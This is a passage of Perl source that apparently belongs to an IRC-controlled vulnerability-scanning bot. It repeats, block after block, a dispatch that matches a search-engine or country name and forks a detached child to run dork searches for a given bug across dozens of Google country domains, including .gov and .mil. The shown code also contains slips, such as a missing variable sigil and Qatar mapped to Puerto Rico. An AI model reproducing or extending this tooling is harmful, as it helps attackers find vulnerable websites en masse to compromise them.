waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cambodia",$type); } exit; } } if ($engine =~ /cameroon/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cameroon",$type); } exit; } } if ($engine =~ /christmas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Christmas",$type); } exit; } } if ($engine =~ /costarika/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CostaRika",$type); } exit; } } if ($engine =~ /croatia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Croatia",$type); } exit; } } if ($engine =~ /cuba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cuba",$type); } exit; } } if ($engine =~ /cyprus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cyprus",$type); } exit; } } if ($engine =~ /dominican/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Dominican",$type); } exit; } } if ($engine =~ /equador/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Equador",$type); } exit; } } if ($engine =~ /egypt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Egypt",$type); } exit; } } if ($engine =~ /estonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Estonia",$type); } exit; } } if ($engine =~ /finland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Finland",$type); } exit; } } if ($engine =~ /georgia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Georgia",$type); } exit; } } if ($engine =~ /ghana/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ghana",$type); } exit; } } if ($engine =~ /grenada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Grenada",$type); } exit; } } if ($engine =~ /honduras/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Honduras",$type); } exit; } } if ($engine =~ /hongkong/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hongkong",$type); } exit; } } if ($engine =~ /iceland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Iceland",$type); } exit; } } if ($engine =~ /ireland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ireland",$type); } exit; } } if ($engine =~ /kenya/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kenya",$type); } exit; } } if ($engine =~ /kuwait/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kuwait",$type); } exit; } } if ($engine =~ /laos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Laos",$type); } exit; } } if ($engine =~ /latvia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Latvia",$type); } exit; } } if ($engine =~ /liberia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Liberia",$type); } exit; } } if ($engine =~ /libyan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Libyan",$type); } exit; } } if ($engine =~ /lithuania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lithuania",$type); } exit; } } if ($engine =~ /macedonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Macedonia",$type); } exit; } } if ($engine =~ /malta/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malta",$type); } exit; } } if ($engine =~ /mongolia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mongolia",$type); } exit; } } if ($engine =~ /mozambique/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mozambique",$type); } exit; } } if ($engine =~ /namibia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Namibia",$type); } exit; } } if ($engine =~ /nauru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nauru",$type); } exit; } } if ($engine =~ /nepal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nepal",$type); } exit; } } if ($engine =~ /newzealand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NewZealand",$type); } exit; } } if ($engine =~ /nigeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nigeria",$type); } exit; } } if ($engine =~ /paraguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Paraguay",$type); } exit; } } if ($engine =~ /peru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Peru",$type); } exit; } } if ($engine =~ /portugal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Portugal",$type); } exit; } } if ($engine =~ /puertorico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type); } exit; } } if ($engine =~ /qatar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type); } exit; } } if ($engine =~ /saintlucia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaintLucia",$type); } exit; } } if ($engine =~ /samoa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Samoa",$type); } exit; } } if ($engine =~ /saudiarabia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"SaudiArabia",$type); } exit; } } if ($engine =~ /senegal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Senegal",$type); } exit; } } if ($engine =~ /slovakia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovakia",$type); } exit; } } if ($engine =~ /srilanka/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Srilanka",$type); } exit; } } if ($engine =~ /swaziland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Swaziland",$type); } exit; } } if ($engine =~ /tajikistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tajikistan",$type); } exit; } } if ($engine =~ /tanzania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tanzania",$type); } exit; } } if ($engine =~ /tokelau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tokelau",$type); } exit; } } if ($engine =~ /tonga/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tonga",$type); } exit; } } if ($engine =~ /tunisia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tunisia",$type); } exit; } } if ($engine =~ /uruguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uruguay",$type); } exit; } } if ($engine =~ /uzbekistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uzbekistan",$type); } exit; } } if ($engine =~ /venezuela/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Venezuela",$type); } exit; } } if ($engine =~ /yemen/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yemen",$type); } exit; } } if ($engine =~ /yugoslavia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yugoslavia",$type); } exit; } } if ($engine =~ /zambia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zambia",$type); } exit; } } if ($engine =~ /uganda/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uganda",$type); } exit; } } if ($engine =~ /trinidad/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Trinidad",$type); } exit; } } if ($engine =~ /zimbabwe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zimbabwe",$type); } exit; } } if ($engine =~ /Gooae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAE",$type); } exit; } } if ($engine =~ /Gooar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAR",$type); } exit; } } if ($engine =~ /Gooat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAT",$type); } exit; } } if ($engine =~ /Gooau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAU",$type); } exit; } } if ($engine =~ /Goobr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBR",$type); } exit; } } if ($engine =~ /Gooca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCA",$type); } exit; } } if ($engine =~ /Goocl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCL",$type); } exit; } } if ($engine =~ /Goocn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCN",$type); } exit; } } if ($engine =~ /Goocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCoM",$type); } exit; } } if ($engine =~ /Goocz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCZ",$type); } exit; } } if ($engine =~ /Goode/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDE",$type); } exit; } } if ($engine =~ /Goodk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDK",$type); } exit; } } if ($engine =~ /Gooes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooES",$type); } exit; } } if ($engine =~ /Gooeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEU",$type); } exit; } } if ($engine =~ /Goofr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFR",$type); } exit; } } if ($engine =~ /Goohu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHU",$type); } exit; } } if ($engine =~ /Gooid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooID",$type); } exit; } } if ($engine =~ /Gooil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIL",$type); } exit; } } if ($engine =~ /Gooin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIN",$type); } exit; } } if ($engine =~ /Gooinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooInfO",$type); } exit; } } if ($engine =~ /Gooir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIR",$type); } exit; } } if ($engine =~ /Gooit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIT",$type); } exit; } } if ($engine =~ /Goojp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJP",$type); } exit; } } if ($engine =~ /Gookr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKR",$type); } exit; } } if ($engine =~ /Goomx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMX",$type); } exit; } } if ($engine =~ /Goomy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMY",$type); } exit; } } if ($engine =~ /Goonet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNeT",$type); } exit; } } if ($engine =~ /Goonl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNL",$type); } exit; } } if ($engine =~ /Gooorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooOrG",$type); } exit; } } if ($engine =~ /Gooph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPH",$type); } exit; } } if ($engine =~ /Goopl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPL",$type); } exit; } } if ($engine =~ /Gooro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRO",$type); } exit; } } if ($engine =~ /Gooru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRU",$type); } exit; } } if ($engine =~ /Gooth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTH",$type); } exit; } } if ($engine =~ /Gooua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUA",$type); } exit; } } if ($engine =~ /Goouk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUK",$type); } exit; } } if ($engine =~ /Goous/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUS",$type); } exit; } } if ($engine =~ /Goosi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSI",$type); } exit; } } if ($engine =~ /Goobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBE",$type); } exit; } } if ($engine =~ /Goobiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBIZ",$type); } exit; } } if ($engine =~ /Gooxxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooXXX",$type); } exit; } } if ($engine =~ /Gootel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTEL",$type); } exit; } } if ($engine =~ /Gootv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTV",$type); } exit; } } if ($engine =~ /Goocc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCC",$type); } exit; } } if ($engine =~ /Goomil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMIL",$type); } exit; } } if ($engine =~ /Gooasia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooASIA",$type); } exit; } } if ($engine =~ /Gooname/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNAME",$type); } exit; } } if ($engine =~ /Goopro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPRO",$type); } exit; } } if ($engine =~ /Gootravel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTRAVEL",$type); } exit; } } if ($engine =~ /Goocat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCAT",$type); } exit; } } if ($engine =~ /Goojobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJOBS",$type); } exit; } } if ($engine =~ /Goomobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMOBI",$type); } exit; } } if ($engine =~ /Gooaero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAERO",$type); } exit; } } if ($engine =~ /Goocoop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCOOP",$type); } exit; } } if ($engine =~ /Gooedu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEDU",$type); } exit; } } if ($engine =~ /Googov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGOV",$type); } exit; } } if ($engine =~ /Gooas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAS",$type); } exit; } } if ($engine =~ /Gooai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAI",$type); } exit; } } if ($engine =~ /Gooag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAG",$type); } exit; } } if ($engine =~ /Gooaz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAZ",$type); } exit; } } if ($engine =~ /Goobh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBH",$type); } exit; } } if ($engine =~ /Goobd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBD",$type); } exit; } } if ($engine =~ /Goobz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBZ",$type); } exit; } } if ($engine =~ /Goobo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBO",$type); } exit; } } if ($engine =~ /Gooba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBA",$type); } exit; } } if ($engine =~ /Goobw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBW",$type); } exit; } } if ($engine =~ /Goovg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVG",$type); } exit; } } if ($engine =~ /Goobg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBG",$type); } exit; } } if ($engine =~ /Goobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBI",$type); } exit; } } if ($engine =~ /Gooco/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCO",$type); } exit; } } if ($engine =~ /Goocd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCD",$type); } exit; } } if ($engine =~ /Goocg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCG",$type); } exit; } } if ($engine =~ /Goock/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCK",$type); } exit; } } if ($engine =~ /Goocr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCR",$type); } exit; } } if ($engine =~ /Goohr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHR",$type); } exit; } } if ($engine =~ /Goocu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCU",$type); } exit; } } if ($engine =~ /Gooci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCI",$type); } exit; } } if ($engine =~ /Goodj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDJ",$type); } exit; } } if ($engine =~ /Goodm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDM",$type); } exit; } } if ($engine =~ /Goodo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDO",$type); } exit; } } if ($engine =~ /Gooec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEC",$type); } exit; } } if ($engine =~ /Gooeg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEG",$type); } exit; } } if ($engine =~ /Goosv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSV",$type); } exit; } } if ($engine =~ /Gooee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEE",$type); } exit; } } if ($engine =~ /Gooet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooET",$type); } exit; } } if ($engine =~ /Goofj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFJ",$type); } exit; } } if ($engine =~ /Goofi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFI",$type); } exit; } } if ($engine =~ /Googm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGM",$type); } exit; } } if ($engine =~ /Googi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGI",$type); } exit; } } if ($engine =~ /Googr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGR",$type); } exit; } } if ($engine =~ /Googl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGL",$type); } exit; } } if ($engine =~ /Googt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGT",$type); } exit; } } if ($engine =~ /Googg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGG",$type); } exit; } } if ($engine =~ /Gooht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHT",$type); } exit; } } if ($engine =~ /Goohn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHN",$type); } exit; } } if ($engine =~ /Goohk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHK",$type); } exit; } } if ($engine =~ /Goois/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIS",$type); } exit; } } if ($engine =~ /Gooie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIE",$type); } exit; } } if ($engine =~ /Gooim/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIM",$type); } exit; } } if ($engine =~ /Gooje/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJE",$type); } exit; } } if ($engine =~ /Goojo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJO",$type); } exit; } } if ($engine =~ /Gookz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKZ",$type); } exit; } } if ($engine =~ /Gooke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKE",$type); } exit; } } if ($engine =~ /Gookg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKG",$type); } exit; } } if ($engine =~ /Goolv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLV",$type); } exit; } } if ($engine =~ /Gools/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLS",$type); } exit; } } if ($engine =~ /Gooly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLY",$type); } exit; } } if ($engine =~ /Gooli/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLI",$type); } exit; } } if ($engine =~ /Goolt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLT",$type); } exit; } } if ($engine =~ /Goolu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLU",$type); } exit; } } if ($engine =~ /Goomw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMW",$type); } exit; } } if ($engine =~ /Goomt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMT",$type); } exit; } } if ($engine =~ /Goomu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMU",$type); } exit; } } if ($engine =~ /Goofm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFM",$type); } exit; } } if ($engine =~ /Goomn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMN",$type); } exit; } } if ($engine =~ /Gooms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMS",$type); } exit; } } if ($engine =~ /Gooma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMA",$type); } exit; } } if ($engine =~ /Goona/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNA",$type); } exit; } } if ($engine =~ /Goonp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNP",$type); } exit; } } if ($engine =~ /Goonz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) 